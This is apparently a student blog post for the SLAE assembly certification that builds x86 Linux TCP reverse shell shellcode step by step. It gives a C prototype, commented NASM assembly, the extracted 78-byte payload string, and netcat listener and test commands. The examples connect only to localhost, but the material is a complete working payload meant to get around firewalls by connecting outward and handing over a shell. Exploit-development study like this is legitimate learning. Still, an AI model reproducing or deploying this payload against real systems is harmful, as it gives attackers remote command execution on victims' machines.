Creating TCP reverse shell shellcode (SLAE, Assignment #2)
Category: Exploit development
Written on
I remember when I was first introduced to the concept of the reverse shell it was a bit difficult to wrap my mind around it. The reverse shell is called so because instead of attacker connecting to the victim machine, the victim machine initiates a connection to the attacking machine. The shell-throwing direction is reversed in this case. Reverse shell's main purpose is to circumvent firewalls that blindly allow outgoing traffic without proper filtering.
It turned out that the code for the reverse shell is actually simpler than that of the bind TCP shell I wrote about in a previous post. It is also shorter.
Here is the prototype C program that we will base our Assembly code on. Code is pretty simple, but nevertheless I furnished it with comments:
#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define ADDR "127.0.0.1"
#define PORT 1234
int main(void) {
// Create socket for outgoing connection
int conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// Populate server side connection information
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET; // IPv4
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // IP address: localhost
serv_addr.sin_port = htons(PORT); // Port #
// Initiate connection
connect(conn_sock, (struct sockaddr *) &serv_addr, 16);
// Forward process's stdin, stdout and stderr to the incoming connection
dup2(conn_sock,0);
dup2(conn_sock,1);
dup2(conn_sock,2);
// Run shell
execve("/bin/sh", NULL, NULL);
}
After compilation we can use Netcat to test that the code is working:
# Start Netcat in one console window
nc -lvp 1234
# Compile and start the C reverse shell implementation
gcc -o revshell revshell.c && ./revshell
# Back in the console with Netcat you should get a connection. Test if it works:
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35476
id
uid=0(root) gid=0(root) groups=0(root)
^C
One thing to remember from the previous post on bind TCP shell is that socket
and connect
functions are plugged into the socketcall
system call. And basically we can largely reuse the bind shell source code making relevant changes to it. The changes include removing blocks for listen and accept functions, transforming bind function block to connect, and replacing the address from 0.0.0.0 to 127.1.1.1. The 127.1.1.1 is equivalent to 127.0.0.1 localhost address, with an advantage of eliminating zeroes. Some people think that only 127.0.0.1 address refers to the localhost, while in truth all valid IPv4 address beginning with 127 are synonyms and refer to the same localhost address.
After applying the aforementioned changes, here is what I got (follow the comments if it is not clear what's going on):
section .text
global _start
_start:
addr: equ 0x0101017F ; = 127.1.1.1 in little endian notation
port: equ 0xD204 ; = 1234 in little endian notation
; Reference: socketcall(int call, unsigned long *args)
; Create socket: EAX = socket(AF_INET, SOCK_STREAM, 0)
; On success EAX will contain socket file descriptor
xor ebx, ebx ; zero out ebx
mul ebx ; implicitly zero out eax and edx
mov al, 0x66 ; socketcall syscall #
mov bl, 0x1 ; socket function #
push edx ; 3rd arg to socket function
push byte 0x1 ; SOCK_STREEAM - 2nd arg to socket function
push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)
mov ecx, esp ; Copy args address to ECX
int 0x80
; Try establishing a connection to a remote host
; EAX = connect(conn_sock, &sockaddr_in, sizeof(sockaddr_in))
; EAX will be 0 on success
xchg edx, eax ; Save socket fd to edx; eax is all 0s now
mov al, 0x66 ; socketcall syscall #
pop ebx ; Reusing 1st arg of the prev func (2)
pop esi ; Trashing 4 bytes from the stack
push addr ; sockaddr_in.sin_addr.s_addr = 127.1.1.1 (4 bytes)
push word port ; sockaddr_in.sin_port = 1234 (2 bytes)
push word bx ; sin_family = 2 (AF_INET) (2 bytes)
push byte 16 ; addr_len = 16 (structure size) (we don't care about last 8 bytes)
push ecx ; ECX points to right address, no need to set or change it
push edx ; Socket fd
; Stack is now 0x0000000 [0x00000000, 0xd204, 0x0002],
; 0x00000010, &sockaddr_in, socketfd
mov ecx, esp ; Copy listening socket descriptor address to ECX
inc ebx ; connect func # (3)
int 0x80
; Redirect process's stdin/out/err to the incoming socket
xchg edx, ebx ; 1st syscall arg in EBX = outgoing socket fd
xor ecx, ecx
mov cl, 2
.next_fd: ; Redirect all process's fds ot incoming socket fd
mov al, 0x3f ; dup2 syscall #
int 0x80
dec ecx
jns .next_fd ; loop until ECX == -1
; Start the shell
push edi ; push some delimiting nulls
push dword 0x68732f2f ; push /bin//sh string
push dword 0x6e69622f
mov ebx, esp ; 1st syscall arg: program address
push edi ; push delimiting nulls
mov edx, esp ; 3rd syscall arg: env vars
push ebx ; Push program address string creating args array
mov ecx, esp ; 2nd syscall arg: args
mov al, 0xb ; execve syscall #
int 0x80
Now let's build the binary and extract and thest the shellcode to make sure that we have not missed anything.
# Build a binary and extract the shellcode
nasm -f elf revshell.asm && ld -o revshell revshell.o
scdump revshell
Output of the above command (formatted to fit the screen):
Length: 78
Payload: "\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x92\xb0\x66\x5b\x5e\x68\x7f\x01\x01\x01\x66\x68\x04\xd2\x66\x53\x6a\x10\x51"
"\x52\x89\xe1\x43\xcd\x80\x87\xd3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
"\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x57\x89\xe2\x53\x89\xe1"
"\xb0\x0b\xcd\x80"
# Paste the shellcode into the scframe.c and compile it:
gcc -fno-stack-protector -z execstack -o scframe scframe.c
# In another console window start Netcat listener
nc -lvp 1234
# Back in the window where you compiled the scframe launch it
./scframe
# Check the Netcat listener to see if you got a reverse shell connection
nc -lvp 1234
listening on [any] 1234 ...
connect to [127.1.1.1] from localhost [127.0.0.1] 33275
id
uid=0(root) gid=0(root) groups=0(root)
^C
Everything seems to be working. Off we go to the next assignment of creating a custom encoder!
This blog post was created to fulfill the requirements of the SecurityTube Linux Assembly Expert certification. Student id: SLAE-685.
The source files created while completing the assignment can be found in my GitHub repository.